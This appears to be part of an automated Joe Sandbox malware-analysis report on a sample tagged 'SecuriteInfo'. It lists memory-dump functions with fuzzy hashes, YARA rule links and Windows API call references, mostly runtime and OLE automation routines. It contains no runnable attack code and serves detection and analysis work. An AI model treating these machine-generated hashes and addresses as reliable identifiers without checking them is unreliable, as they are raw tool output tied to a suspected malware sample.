Instruction ID: 748a688290e35bf004a2108e641e5d6e1dce7519d53c0398ed500681f2afb51c
Opcode Fuzzy Hash: e5de1770610ff418e856ed3862eddaf07ab82c3cb3817454ce728d30c0410e7d
Instruction Fuzzy Hash: B9310475D41208AFCB04CFA8D490AEEBBF2FF49310F10946AE511BB360DB719A45CBA5

Function 054334E8 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51744294a7284c7781c4e004b654d96190a5c84b6c8685d6c9148d85939bfcf9
Instruction ID: 5b31b47e02f9a89d101115e07df8d8aa4de364951ef002fec5a2fae93ce05e1d
Opcode Fuzzy Hash: 51744294a7284c7781c4e004b654d96190a5c84b6c8685d6c9148d85939bfcf9
Instruction Fuzzy Hash: E031E475D41208AFDB04CFA8D480AEEBBF6FF49310F10946AE911BB260DB719A45CB95

Function 05433708 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f4ac20ccf8eaeb9be70354e821e93a75d62921bf587cb4724988e0744ee9ffa
Instruction ID: a1eedc1a825862234bdac1173d0509d4ce773969669c6a7a67135c1844b76510
Opcode Fuzzy Hash: 9f4ac20ccf8eaeb9be70354e821e93a75d62921bf587cb4724988e0744ee9ffa
Instruction Fuzzy Hash: 0231E475D41208AFDB04CFA8D480AEEBBF6FF49310F10946AE911B7260DB719A45CB95

Function 6D006650 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c2a4e5319b11e48729058604c95f45a5f512c01db7aed5589e00d7c185c0113
Instruction ID: dc734126452572f49012c80787f47a328b66bf0b53a36d15014a8943f3b2713d
Opcode Fuzzy Hash: 6c2a4e5319b11e48729058604c95f45a5f512c01db7aed5589e00d7c185c0113
Instruction Fuzzy Hash: DA21E7367155525BE705CE2EC8808A6B7A7EF8D31471981F9E808CB283CA70E956C7D0

Function 6D008B30 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 519b3b72f4d0e40bab733eecf5f1683974662187ffa70974d5324fa566ddd64b
Instruction ID: e2798953af6df03b7078c826da3ccd91e01f19135ccb6ca6642e263bbd83af3a
Opcode Fuzzy Hash: 519b3b72f4d0e40bab733eecf5f1683974662187ffa70974d5324fa566ddd64b
Instruction Fuzzy Hash: DE218E757046874BF715CF2EC84059BBBA3FFD9300B1980A6E858DB242C674E866CBC0

Function 6D00C7B0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 491a25c253d72754cd753df5ea73fe4730b8206852d94c2a89a3efade510d907
Instruction ID: c995d013d6b4a607ce1059dab05874f68589e52ebf06739c4820ad9230a156b6
Opcode Fuzzy Hash: 491a25c253d72754cd753df5ea73fe4730b8206852d94c2a89a3efade510d907
Instruction Fuzzy Hash: F711E63A709A430BF308CE2EE880593B7A7AFCD31476A85AEA458DF146C771E416C791

Function 6D00A7E0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef0fe430f5274c6fa702dd06a168edf7b4634a1fa37fbabfcf4ba1ecb026e4e8
Instruction ID: 1acc5000ec69cb1927d35a44301270338920092fe756200a66fa1f0c62c5c932
Opcode Fuzzy Hash: ef0fe430f5274c6fa702dd06a168edf7b4634a1fa37fbabfcf4ba1ecb026e4e8
Instruction Fuzzy Hash: EE110632A056924BE7018E2DC8406D6BBA7EFCE710B1A81EAE854DF217C774991BC7D0

Function 0543B958 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18bedcc6e9b90413334a9e00bffa9294d3a71957c983960659b6212fd25c34a5
Instruction ID: 559514e96aed1c5316944d2ebcbcd40a193fd95b87581bcda7c8161503522f15
Opcode Fuzzy Hash: 18bedcc6e9b90413334a9e00bffa9294d3a71957c983960659b6212fd25c34a5
Instruction Fuzzy Hash: 0121AAB5D052188FCB10CFA9D584ADEFBF4EB49320F24906AE818B7320D735A945CF64

Function 6D0684B0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a953b35a80c17118bd13644806be8d0a0585007b7190a097129057f0dbfbb29
Instruction ID: e620dfe644fe52ce1683e0b67de751900f8c29a221c4f338d0604c9ea197d580
Opcode Fuzzy Hash: 1a953b35a80c17118bd13644806be8d0a0585007b7190a097129057f0dbfbb29
Instruction Fuzzy Hash: 05115EB6908649EFD704CF59D8417AAFBF4FB45720F10822EE81993B80E735A900CB90

Function 6D076FB1 Relevance: 54.3, APIs: 36, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBCMT ref: 6D076FCC

Part of subcall function 6D074147: DName::DName.LIBCMT ref: 6D07415A
Part of subcall function 6D074147: DName::operator+.LIBCMT ref: 6D074161

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: NameName::Name::operator+operator+
String ID:
API String ID: 2937105810-0
Opcode ID: 4c7fde43222f8823839001c450381a8b731bfe3a2e4fd1a1143668b34b3e022b
Instruction ID: c6228defe87ac3cb6e42e600c6c40e0e5a39f02c8eaac97864529a00ce5a9b96
Opcode Fuzzy Hash: 4c7fde43222f8823839001c450381a8b731bfe3a2e4fd1a1143668b34b3e022b
Instruction Fuzzy Hash: 79D14E75D04209AFEF21DFA8C891BEEBBF4EF49344F11405AE611AB290DB319A45CB64

Function 6D06EC9D Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,6D06A2D4,6D0995C0,00000008,6D06A468,?,?,?,6D0995E0,0000000C,6D06A523,?), ref: 6D06ECA5
__mtterm.LIBCMT ref: 6D06ECB1

Part of subcall function 6D06E97C: DecodePointer.KERNEL32(00000012,6D06A397,6D06A37D,6D0995C0,00000008,6D06A468,?,?,?,6D0995E0,0000000C,6D06A523,?), ref: 6D06E98D
Part of subcall function 6D06E97C: TlsFree.KERNEL32(0000000A,6D06A397,6D06A37D,6D0995C0,00000008,6D06A468,?,?,?,6D0995E0,0000000C,6D06A523,?), ref: 6D06E9A7
Part of subcall function 6D06E97C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,6D06A397,6D06A37D,6D0995C0,00000008,6D06A468,?,?,?,6D0995E0,0000000C,6D06A523,?), ref: 6D072325
Part of subcall function 6D06E97C: DeleteCriticalSection.KERNEL32(0000000A,?,?,6D06A397,6D06A37D,6D0995C0,00000008,6D06A468,?,?,?,6D0995E0,0000000C,6D06A523,?), ref: 6D07234F

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 6D06ECC7
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 6D06ECD4
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 6D06ECE1
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 6D06ECEE
TlsAlloc.KERNEL32(?,?,6D06A2D4,6D0995C0,00000008,6D06A468,?,?,?,6D0995E0,0000000C,6D06A523,?), ref: 6D06ED3E
TlsSetValue.KERNEL32(00000000,?,?,6D06A2D4,6D0995C0,00000008,6D06A468,?,?,?,6D0995E0,0000000C,6D06A523,?), ref: 6D06ED59
__init_pointers.LIBCMT ref: 6D06ED63
EncodePointer.KERNEL32(?,?,6D06A2D4,6D0995C0,00000008,6D06A468,?,?,?,6D0995E0,0000000C,6D06A523,?), ref: 6D06ED74
EncodePointer.KERNEL32(?,?,6D06A2D4,6D0995C0,00000008,6D06A468,?,?,?,6D0995E0,0000000C,6D06A523,?), ref: 6D06ED81
EncodePointer.KERNEL32(?,?,6D06A2D4,6D0995C0,00000008,6D06A468,?,?,?,6D0995E0,0000000C,6D06A523,?), ref: 6D06ED8E
EncodePointer.KERNEL32(?,?,6D06A2D4,6D0995C0,00000008,6D06A468,?,?,?,6D0995E0,0000000C,6D06A523,?), ref: 6D06ED9B
DecodePointer.KERNEL32(Function_0006EB00,?,?,6D06A2D4,6D0995C0,00000008,6D06A468,?,?,?,6D0995E0,0000000C,6D06A523,?), ref: 6D06EDBC
__calloc_crt.LIBCMT ref: 6D06EDD1
DecodePointer.KERNEL32(00000000,?,?,6D06A2D4,6D0995C0,00000008,6D06A468,?,?,?,6D0995E0,0000000C,6D06A523,?), ref: 6D06EDEB
GetCurrentThreadId.KERNEL32 ref: 6D06EDFD

Strings

FlsSetValue, xrefs: 6D06ECD6
FlsFree, xrefs: 6D06ECE3
FlsAlloc, xrefs: 6D06ECC1
KERNEL32.DLL, xrefs: 6D06ECA0
FlsGetValue, xrefs: 6D06ECC9

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 1868149495-3819984048
Opcode ID: 08ce60f81d618ecb765895ad48c18f37affe4c09593b7c3bfa486cd470c32156
Instruction ID: e1526ac859c60e3f4a3d9b1af9f74d206baff8211fa0835315627609b217cc29
Opcode Fuzzy Hash: 08ce60f81d618ecb765895ad48c18f37affe4c09593b7c3bfa486cd470c32156
Instruction Fuzzy Hash: 4B315336804B99AEEF10EF759C1872E3FF5BB4B61571A4526E424D3192EB708041CFA9

Function 6D010EA0 Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 337COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D010EF2
std::_Xinvalid_argument.LIBCPMT ref: 6D010F14
_memmove.LIBCMT ref: 6D010F70
_memmove.LIBCMT ref: 6D010F95
_memmove.LIBCMT ref: 6D010FA9
_memmove.LIBCMT ref: 6D010FDB
_memmove.LIBCMT ref: 6D011182
std::_Xinvalid_argument.LIBCPMT ref: 6D0111B6

Strings

string too long, xrefs: 6D010EED, 6D010F0F
invalid string position, xrefs: 6D0111B1

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _memmove$Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1771113911-4289949731
Opcode ID: 9927400a390486af5aecb216081916a523120380e7ca660a3959044f51998634
Instruction ID: a521e6f58ed8857221416d7472a4ad788d4096bad87913ae3d8548ee7a3f4089
Opcode Fuzzy Hash: 9927400a390486af5aecb216081916a523120380e7ca660a3959044f51998634
Instruction Fuzzy Hash: F3B1A0707181459BFB19CE9DDC91B9EB3AAEB89304754891CF492CB741C770EC91C7A2

Function 6D077FC4 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getBasicDataType.LIBCMT ref: 6D077FFF
DName::operator=.LIBCMT ref: 6D078013
DName::operator+=.LIBCMT ref: 6D078021
UnDecorator::getPtrRefType.LIBCMT ref: 6D07804D
UnDecorator::getDataIndirectType.LIBCMT ref: 6D0780CA
UnDecorator::getBasicDataType.LIBCMT ref: 6D0780D3
operator+.LIBCMT ref: 6D078166

Strings

volatile, xrefs: 6D07800B, 6D078139
std::nullptr_t, xrefs: 6D078122

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Decorator::getType$Data$Basic$IndirectName::operator+=Name::operator=operator+
String ID: std::nullptr_t$volatile
API String ID: 2203807771-3726895890
Opcode ID: eea33fdb7a36e2abb09367e756b40752152fa39321d1be6a9ebf22004d096c5e
Instruction ID: dc662d425ab340a51d3506515491c0b21c84da8caeb462113f91e6396651b57c
Opcode Fuzzy Hash: eea33fdb7a36e2abb09367e756b40752152fa39321d1be6a9ebf22004d096c5e
Instruction Fuzzy Hash: 17417A71918509BFFB31CF54C880BAE7BB8FF06341F458169EA549F152D7319A828B9C

Function 6D025140 Relevance: 21.2, APIs: 14, Instructions: 203COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6D025177

Part of subcall function 6D032820: _malloc.LIBCMT ref: 6D032871

SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000004), ref: 6D0251B9
SafeArrayCreateVector.OLEAUT32(00000011,00000000,00000000), ref: 6D0251D5
SafeArrayAccessData.OLEAUT32(00000000,00000000), ref: 6D0251E5
_memmove.LIBCMT ref: 6D0251FF
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 6D025208
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6D02522C
SafeArrayPutElement.OLEAUT32(00000000,00000001,?), ref: 6D025263
VariantClear.OLEAUT32(?), ref: 6D02526C
SafeArrayPutElement.OLEAUT32(00000000,00000002,?), ref: 6D0252AD
VariantClear.OLEAUT32(?), ref: 6D0252B6
SafeArrayPutElement.OLEAUT32(00000000,00000002,00000002), ref: 6D0252D2
SafeArrayDestroy.OLEAUT32(00000000), ref: 6D02534E
VariantClear.OLEAUT32(?), ref: 6D025358

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$ElementVariant$Clear$CreateDataVector$AccessDestroyInitUnaccess_malloc_memmove
String ID:
API String ID: 452649785-0
Opcode ID: d80ef5a91bf00a390d8638672f5ab71e98ddf1268e76d6f8a4ac0b5be5bea43f
Instruction ID: 5bcb675747c298a3097184c31fffbc73efa4c8a195a197f40ce3996dff224bd8
Opcode Fuzzy Hash: d80ef5a91bf00a390d8638672f5ab71e98ddf1268e76d6f8a4ac0b5be5bea43f
Instruction Fuzzy Hash: BE712B75A0121AEFEB00CFA5C884BAFBBB9FF59304F008159E905D7240E774EA05CBA4

Function 6D01F95E Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 332COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D01FA0F
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D01FA22
SafeArrayGetElement.OLEAUT32 ref: 6D01FA5A

Part of subcall function 6D023A90: SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D023B71
Part of subcall function 6D023A90: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D023B83

Part of subcall function 6D0269C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6D026A08
Part of subcall function 6D0269C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D026A15
Part of subcall function 6D0269C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6D026A41

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Part of subcall function 6D01DFB0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6D01DFF6
Part of subcall function 6D01DFB0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D01E003
Part of subcall function 6D01DFB0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6D01E02F

Strings

RS{m, xrefs: 6D01FC3E
RS7m, xrefs: 6D01FC82

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Bound$Destroy$Element
String ID: RS7m$RS{m
API String ID: 959723449-144615663
Opcode ID: 8dae9c4ee980f497cd8a99c96576af7759d625befbd62088d40d513acb239f08
Instruction ID: 49c320015e118afe2972b60d58b9919ac9ed7c6049a2ae7adeebcfd59ae4b10e
Opcode Fuzzy Hash: 8dae9c4ee980f497cd8a99c96576af7759d625befbd62088d40d513acb239f08
Instruction Fuzzy Hash: 84C18370A052059FEB10DFA8CC80FADB7B9AF85304F104199EA49EF286DB71ED41CB50

Function 6D023690 Relevance: 18.2, APIs: 12, Instructions: 215COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6D0236CD
VariantInit.OLEAUT32(?), ref: 6D0236DA
VariantInit.OLEAUT32(?), ref: 6D0236E0
VariantInit.OLEAUT32(?), ref: 6D0236E6
VariantInit.OLEAUT32 ref: 6D0237DD
VariantCopy.OLEAUT32(?,?), ref: 6D0237E4
VariantInit.OLEAUT32 ref: 6D023815
VariantCopy.OLEAUT32(?,?), ref: 6D02381C
VariantClear.OLEAUT32(?), ref: 6D0238A8
